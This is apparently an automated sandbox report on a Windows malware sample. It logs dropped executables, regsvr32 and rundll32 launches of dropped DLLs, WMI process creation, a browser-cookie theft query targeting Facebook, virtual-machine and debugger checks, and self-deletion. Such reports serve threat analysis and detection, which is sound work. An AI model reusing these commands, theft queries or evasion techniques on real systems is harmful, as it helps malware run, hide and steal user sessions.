Source: C:\Users\user\AppData\Local\Temp\6D2B.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /s C:\Users\user\AppData\Local\Temp\9602.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\db.dll",open	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\db.dll",open	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5449.exe	Process created: C:\Windows\SysWOW64\WerFault.exe WerFault.exe //////
Source: C:\Users\user\AppData\Local\Temp\5449.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c cmd < Orti.dotx & ping -n 5 localhost
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ADFF.exe

WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\6D2B.tmp

Jump to behavior

Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: SELECT host,name,value,expiry FROM moz_cookies where host='.facebook.com';
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');

Source: C:\Users\user\AppData\Local\Temp\6D2B.exe

Code function: 14_2_02EAB7C6 CreateToolhelp32Snapshot,Module32First,

14_2_02EAB7C6

Source: C:\Windows\System32\wbem\WmiPrvSE.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\db.dll",open

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1544:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4764:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5240:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2888:64:WilError_01
Source: C:\Users\user\AppData\Local\Temp\FC9E.exe	Mutant created: \Sessions\1\BaseNamedObjects\patatoes

Source: 6D2B.exe	String found in binary or memory: set-addPolicy
Source: 6D2B.exe	String found in binary or memory: id-cmc-addExtensions

Source: C:\Users\user\AppData\Local\Temp\ADFF.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ADFF.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC9E.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\FC9E.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: 6D2B.exe, 6D2B.exe, 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: /C:\fifuhehowa\75-boj\fiyamutazug_6\zaxij.pdbNI source: D4C7.exe.2.dr
Source:	Binary string: C:\gacupafojos p.pdb source: 6D2B.exe, 0000000E.00000000.462125104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, 6D2B.exe, 0000000E.00000002.639473965.0000000000401000.00000020.00000001.01000000.00000007.sdmp, 6D2B.exe.2.dr
Source:	Binary string: wextract.pdb source: 5449.exe, 00000026.00000000.575095352.0000000000401000.00000020.00000001.01000000.00000010.sdmp, 5449.exe.2.dr
Source:	Binary string: wextract.pdbGCTL source: 5449.exe, 00000026.00000000.575095352.0000000000401000.00000020.00000001.01000000.00000010.sdmp, 5449.exe.2.dr
Source:	Binary string: C:\fifuhehowa\75-boj\fiyamutazug_6\zaxij.pdb source: D4C7.exe.2.dr
Source:	Binary string: C:\gacupafojos p.pdb@ source: 6D2B.exe, 0000000E.00000000.462125104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, 6D2B.exe, 0000000E.00000002.639473965.0000000000401000.00000020.00000001.01000000.00000007.sdmp, 6D2B.exe.2.dr
Source:	Binary string: C:\mahicetadovey_26 sohefovifuw.pdb source: BFB7.exe.2.dr
Source:	Binary string: u]C:\mahicetadovey_26 sohefovifuw.pdb source: BFB7.exe.2.dr
Source:	Binary string: C:\leh.pdb`JD source: file.exe
Source:	Binary string: C:\kipomo9.pdb source: D510.exe, 0000001A.00000000.515081857.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, wtiivdw, 0000002B.00000000.590978483.0000000000401000.00000020.00000001.01000000.00000012.sdmp, wtiivdw.2.dr
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: 6D2B.exe, 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\kipomo9.pdbpID source: D510.exe, 0000001A.00000000.515081857.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, wtiivdw, 0000002B.00000000.590978483.0000000000401000.00000020.00000001.01000000.00000012.sdmp, wtiivdw.2.dr
Source:	Binary string: C:\leh.pdb source: file.exe

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\viiivdw	Unpacked PE file: 11.2.viiivdw.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\D510.exe	Unpacked PE file: 26.2.D510.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\wtiivdw	Unpacked PE file: 43.2.wtiivdw.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402847 push ebp; ret	0_2_00402848
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E56 push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E5E push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E6A push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E70 push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E05 push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E1F push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E88 push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E8F push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E96 push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402EA4 push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401AAC push edi; iretd	0_2_00401AAD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402DB7 push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009328AE push ebp; ret	0_2_009328AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00931B13 push edi; iretd	0_2_00931B14
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_00402847 push ebp; ret	11_2_00402848
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_00402E56 push eax; ret	11_2_00402EBF
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_00402E5E push eax; ret	11_2_00402EBF
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_00402E6A push eax; ret	11_2_00402EBF
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_00402E70 push eax; ret	11_2_00402EBF
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_00402E05 push eax; ret	11_2_00402EBF
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_00402E1F push eax; ret	11_2_00402EBF
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_00402E88 push eax; ret	11_2_00402EBF
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_00402E8F push eax; ret	11_2_00402EBF
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_00402E96 push eax; ret	11_2_00402EBF
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_00402EA4 push eax; ret	11_2_00402EBF
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_00401AAC push edi; iretd	11_2_00401AAD
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_00402DB7 push eax; ret	11_2_00402EBF
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_008E28AE push ebp; ret	11_2_008E28AF
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_008E1B13 push edi; iretd	11_2_008E1B14
Source: C:\Users\user\AppData\Local\Temp\6D2B.exe	Code function: 14_2_02EAE0AF push ecx; retf	14_2_02EAE0B2

Source: C:\Windows\explorer.exe

Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\9602.dll

Source: 9589.exe.2.dr	Static PE information: section name: _RDATA
Source: 9589.exe.2.dr	Static PE information: section name: .vmp0
Source: 9589.exe.2.dr	Static PE information: section name: .vmp1
Source: AA90.exe.2.dr	Static PE information: section name: .00cfg
Source: A8D9.exe.2.dr	Static PE information: section name: _RDATA
Source: A8D9.exe.2.dr	Static PE information: section name: .vmp0
Source: A8D9.exe.2.dr	Static PE information: section name: .vmp1

Source: initial sample

Static PE information: section where entry point is pointing to: .vmp1

Source: BFB7.exe.2.dr	Static PE information: real checksum: 0x42395e should be: 0x42bf79
Source: ADFF.exe.2.dr	Static PE information: real checksum: 0x2e80e should be: 0x3c696
Source: A8D9.exe.2.dr	Static PE information: real checksum: 0x0 should be: 0x3ca324
Source: 9589.exe.2.dr	Static PE information: real checksum: 0x0 should be: 0x3ca324
Source: 9602.dll.2.dr	Static PE information: real checksum: 0x0 should be: 0x1aa75e
Source: 6382.exe.2.dr	Static PE information: real checksum: 0x2e80e should be: 0x3c696
Source: FC9E.exe.2.dr	Static PE information: real checksum: 0x0 should be: 0xb0068
Source: 5449.exe.2.dr	Static PE information: real checksum: 0xf8480 should be: 0xf5781

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\Users\user\AppData\Local\Temp\ADFF.exe

WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Trarre.exe.pif

Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\wtiivdw			Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\viiivdw			Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\BFB7.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\A8D9.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D4C7.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\42BA.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\6382.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\AA90.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\9589.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\6D2B.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Trarre.exe.pif	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\viiivdw	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\wtiivdw	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\5449.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\ADFF.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ADFF.exe	File created: C:\Users\user\AppData\Local\Temp\db.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D510.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\FC9E.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\9602.dll	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\file.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\viiivdw:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\wtiivdw:Zone.Identifier read attributes \| delete			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\FC9E.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ADFF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ADFF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ADFF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ADFF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ADFF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ADFF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ADFF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\viiivdw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\viiivdw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\viiivdw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\viiivdw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\viiivdw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\viiivdw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D510.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D510.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D510.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D510.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D510.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D510.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wtiivdw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\wtiivdw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\wtiivdw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\wtiivdw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\wtiivdw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\wtiivdw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Source: C:\Windows\explorer.exe TID: 6004	Thread sleep time: -67200s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5792	Thread sleep time: -55400s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6524	Thread sleep time: -45300s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6552	Thread sleep time: -60500s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3644	Thread sleep time: -39400s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2232	Thread sleep time: -31400s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ADFF.exe TID: 5644	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ADFF.exe TID: 6508	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 677	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 672	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 554	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 523	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 453	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 605	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 389	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 394	Jump to behavior

Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\BFB7.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\A8D9.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\D4C7.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\42BA.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\AA90.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\9589.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Trarre.exe.pif	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\9602.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\6D2B.exe

Code function: 14_2_02EAC71C rdtsc

14_2_02EAC71C

Source: explorer.exe, 00000002.00000000.362676863.0000000008631000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000002.00000000.362958747.00000000086E7000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}i
Source: explorer.exe, 00000002.00000000.362958747.00000000086E7000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000002.00000000.354992500.00000000043B0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 5449.exe, 00000026.00000003.582030728.0000000006642000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: If $gINJgsgOyvMci > 20 Then
Source: ADFF.exe, 00000018.00000002.536208143.00000000006BC000.00000004.00000020.00020000.00000000.sdmp, ADFF.exe, 00000018.00000003.531784036.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, ADFF.exe, 00000018.00000002.535747599.000000000067A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000002.00000000.362958747.00000000086E7000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 00000002.00000000.362676863.0000000008631000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: rundll32.exe, 0000001E.00000002.692276300.0000000000C6A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000027.00000000.588639665.000002E4A023F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000027.00000002.824091544.000002E4A023F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\file.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\viiivdw	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D510.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wtiivdw	System information queried: CodeIntegrityInformation

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00930D90 mov eax, dword ptr fs:[00000030h]	0_2_00930D90
